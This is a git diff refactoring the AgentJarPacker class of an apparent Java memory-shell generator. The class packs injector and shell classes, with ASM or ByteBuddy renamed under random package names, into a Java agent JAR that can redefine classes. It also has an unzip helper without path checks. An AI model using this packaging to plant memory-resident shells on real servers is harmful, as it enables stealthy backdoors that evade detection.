|
1 | 1 | package com.reajason.javaweb.memshell.packer.jar; |
2 | 2 |
|
3 | 3 | import com.reajason.javaweb.asm.ClassRenameUtils; |
| 4 | +import com.reajason.javaweb.memshell.ShellType; |
4 | 5 | import com.reajason.javaweb.memshell.config.GenerateResult; |
5 | 6 | import com.reajason.javaweb.memshell.utils.CommonUtil; |
6 | 7 | import lombok.SneakyThrows; |
|
17 | 18 | import java.nio.file.Path; |
18 | 19 | import java.util.Enumeration; |
19 | 20 | import java.util.Map; |
20 | | -import java.util.jar.JarEntry; |
21 | | -import java.util.jar.JarFile; |
22 | | -import java.util.jar.JarOutputStream; |
23 | | -import java.util.jar.Manifest; |
| 21 | +import java.util.jar.*; |
24 | 22 |
|
25 | 23 | /** |
26 | 24 | * @author ReaJason |
27 | 25 | * @since 2025/1/1 |
28 | 26 | */ |
29 | 27 | public class AgentJarPacker implements JarPacker { |
30 | | - |
31 | | - static Path tempBootPath; |
| 28 | + private static Path tempBootPath; |
32 | 29 |
|
33 | 30 | @Override |
34 | 31 | @SneakyThrows |
35 | 32 | public byte[] packBytes(GenerateResult generateResult) { |
36 | | - String mainClass = generateResult.getInjectorClassName(); |
37 | | - String advisorClass = generateResult.getShellClassName(); |
| 33 | + Manifest manifest = createManifest(generateResult.getInjectorClassName()); |
| 34 | + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); |
| 35 | + |
| 36 | + String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/"; |
| 37 | + boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM); |
| 38 | + |
| 39 | + try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { |
| 40 | + addDependencies(targetJar, relocatePrefix, isAsm); |
| 41 | + addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm); |
| 42 | + } |
38 | 43 |
|
| 44 | + return outputStream.toByteArray(); |
| 45 | + } |
| 46 | + |
| 47 | + private Manifest createManifest(String mainClass) { |
39 | 48 | Manifest manifest = new Manifest(); |
40 | | - manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); |
41 | | - manifest.getMainAttributes().putValue("Agent-Class", mainClass); |
42 | | - manifest.getMainAttributes().putValue("Premain-Class", mainClass); |
43 | | - manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); |
44 | | - manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); |
45 | | - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); |
46 | | - |
47 | | - String RELOCATE_PREFIX = CommonUtil.getRandomPackageName().replace(".", "/") + "/"; |
48 | | - boolean RELOCATE_ENABLED = true; |
49 | | - |
50 | | - try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) { |
51 | | - String dependencyPackageName = null; |
52 | | - if (generateResult.getShellConfig().getShellType().endsWith("ASM")) { |
53 | | - dependencyPackageName = Opcodes.class.getPackage().getName(); |
54 | | - addDependency(targetJar, Opcodes.class, true, RELOCATE_PREFIX); |
55 | | - } else { |
56 | | - RELOCATE_ENABLED = false; |
57 | | - dependencyPackageName = ByteBuddy.class.getPackage().getName(); |
58 | | - addDependency(targetJar, ByteBuddy.class, false, RELOCATE_PREFIX); |
59 | | - } |
| 49 | + Attributes attributes = manifest.getMainAttributes(); |
| 50 | + attributes.putValue("Manifest-Version", "1.0"); |
| 51 | + attributes.putValue("Agent-Class", mainClass); |
| 52 | + attributes.putValue("Premain-Class", mainClass); |
| 53 | + attributes.putValue("Can-Redefine-Classes", "true"); |
| 54 | + attributes.putValue("Can-Retransform-Classes", "true"); |
| 55 | + return manifest; |
| 56 | + } |
60 | 57 |
|
61 | | - byte[] injectorBytes = generateResult.getInjectorBytes(); |
62 | | - if (RELOCATE_ENABLED) { |
63 | | - injectorBytes = ClassRenameUtils.relocateClass(injectorBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName); |
64 | | - } |
65 | | - targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); |
66 | | - targetJar.write(injectorBytes); |
67 | | - targetJar.closeEntry(); |
| 58 | + @SneakyThrows |
| 59 | + private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) { |
| 60 | + if (isAsm) { |
| 61 | + addDependency(targetJar, Opcodes.class, true, relocatePrefix); |
| 62 | + } else { |
| 63 | + addDependency(targetJar, ByteBuddy.class, false, relocatePrefix); |
| 64 | + } |
| 65 | + } |
68 | 66 |
|
69 | | - byte[] shellBytes = generateResult.getShellBytes(); |
70 | | - if (RELOCATE_ENABLED) { |
71 | | - shellBytes = ClassRenameUtils.relocateClass(shellBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName); |
72 | | - } |
73 | | - targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class")); |
74 | | - targetJar.write(shellBytes); |
75 | | - targetJar.closeEntry(); |
76 | | - |
77 | | - for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) { |
78 | | - targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class")); |
79 | | - byte[] innerClassBytes = entry.getValue(); |
80 | | - if (RELOCATE_ENABLED) { |
81 | | - innerClassBytes = ClassRenameUtils.relocateClass(innerClassBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName); |
82 | | - } |
83 | | - targetJar.write(innerClassBytes); |
84 | | - targetJar.closeEntry(); |
85 | | - } |
| 67 | + @SneakyThrows |
| 68 | + private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, |
| 69 | + String relocatePrefix, boolean isRelocateEnabled) { |
| 70 | + String dependencyPackage = isRelocateEnabled ? |
| 71 | + Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName(); |
| 72 | + |
| 73 | + // Add injector class |
| 74 | + addClassEntry(targetJar, |
| 75 | + generateResult.getInjectorClassName(), |
| 76 | + generateResult.getInjectorBytes(), |
| 77 | + dependencyPackage, |
| 78 | + relocatePrefix, |
| 79 | + isRelocateEnabled); |
| 80 | + |
| 81 | + // Add shell class |
| 82 | + addClassEntry(targetJar, |
| 83 | + generateResult.getShellClassName(), |
| 84 | + generateResult.getShellBytes(), |
| 85 | + dependencyPackage, |
| 86 | + relocatePrefix, |
| 87 | + isRelocateEnabled); |
| 88 | + |
| 89 | + // Add inner classes |
| 90 | + for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) { |
| 91 | + addClassEntry(targetJar, |
| 92 | + entry.getKey(), |
| 93 | + entry.getValue(), |
| 94 | + dependencyPackage, |
| 95 | + relocatePrefix, |
| 96 | + isRelocateEnabled); |
86 | 97 | } |
87 | | - return byteArrayOutputStream.toByteArray(); |
| 98 | + } |
| 99 | + |
| 100 | + @SneakyThrows |
| 101 | + private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes, |
| 102 | + String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) { |
| 103 | + targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class")); |
| 104 | + byte[] processedBytes = isRelocateEnabled ? |
| 105 | + ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) : |
| 106 | + classBytes; |
| 107 | + targetJar.write(processedBytes); |
| 108 | + targetJar.closeEntry(); |
88 | 109 | } |
89 | 110 |
|
90 | 111 | @SneakyThrows |
@@ -128,27 +149,29 @@ public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, |
128 | 149 | sourceJar.close(); |
129 | 150 | } |
130 | 151 |
|
| 152 | + /** |
| 153 | + * Extracts a JAR file to a temporary directory |
| 154 | + * |
| 155 | + * @param jarPath Path to the source JAR file |
| 156 | + * @param tempPath Path to the temporary directory |
| 157 | + */ |
131 | 158 | @SneakyThrows |
132 | 159 | public static void unzip(String jarPath, String tempPath) { |
133 | 160 | try (JarFile jarFile = new JarFile(jarPath)) { |
134 | 161 | Enumeration<JarEntry> entries = jarFile.entries(); |
135 | 162 | while (entries.hasMoreElements()) { |
136 | 163 | JarEntry jarEntry = entries.nextElement(); |
137 | | - String entryName = jarEntry.getName(); |
138 | | - File file = new File(tempPath, entryName); |
| 164 | + File targetFile = new File(tempPath, jarEntry.getName()); |
| 165 | + |
139 | 166 | if (jarEntry.isDirectory()) { |
140 | | - file.mkdir(); |
141 | | - } else { |
142 | | - InputStream inputStream = null; |
143 | | - FileOutputStream outputStream = null; |
144 | | - try { |
145 | | - inputStream = jarFile.getInputStream(jarEntry); |
146 | | - outputStream = new FileOutputStream(file); |
147 | | - IOUtils.copy(inputStream, outputStream); |
148 | | - } finally { |
149 | | - IOUtils.closeQuietly(inputStream); |
150 | | - IOUtils.closeQuietly(outputStream); |
151 | | - } |
| 167 | + targetFile.mkdirs(); |
| 168 | + continue; |
| 169 | + } |
| 170 | + |
| 171 | + targetFile.getParentFile().mkdirs(); |
| 172 | + try (InputStream inputStream = jarFile.getInputStream(jarEntry); |
| 173 | + FileOutputStream outputStream = new FileOutputStream(targetFile)) { |
| 174 | + IOUtils.copy(inputStream, outputStream); |
152 | 175 | } |
153 | 176 | } |
154 | 177 | } |
|
0 commit comments